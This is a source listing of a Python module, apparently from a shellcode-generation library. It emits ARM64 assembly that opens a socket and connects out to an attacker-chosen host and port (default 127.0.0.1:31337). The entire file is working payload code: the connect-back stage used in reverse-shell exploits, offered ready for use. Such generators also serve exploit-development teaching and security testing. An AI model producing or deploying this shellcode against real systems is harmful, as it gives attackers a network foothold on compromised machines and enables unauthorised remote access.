Source code for shellcodes.arm64.connect
from socket import htons, inet_aton, gethostbyname
from struct import unpack
[docs]def binary_ip(host):
return inet_aton(gethostbyname(host))
[docs]def u32(u):
return unpack("<I", u)[0]
[docs]def generate(host='127.0.0.1', port=31337):
"""Connects to remote machine on specific port
Args:
host(str): hostname or IP address
port(int/str): specific port
"""
sc = """
/* socket(...) */
mov x0, 2
mov x1, 1
sub x2, x2, x2
mov x8, 198
svc 1
adr x1, sockaddr_1
#mov x1, pc
#add x1, 12
mov x2, 16
mov x6, x0
b after_sockaddr_2
sub x1, x1, x1
sockaddr_1:
.short 0x0002
.short %s
.word %s
after_sockaddr_2:
mov x8, 203
svc 1
""" % (htons(int(port)), u32(binary_ip(host)))
return sc
if __name__ == '__main__':
print generate()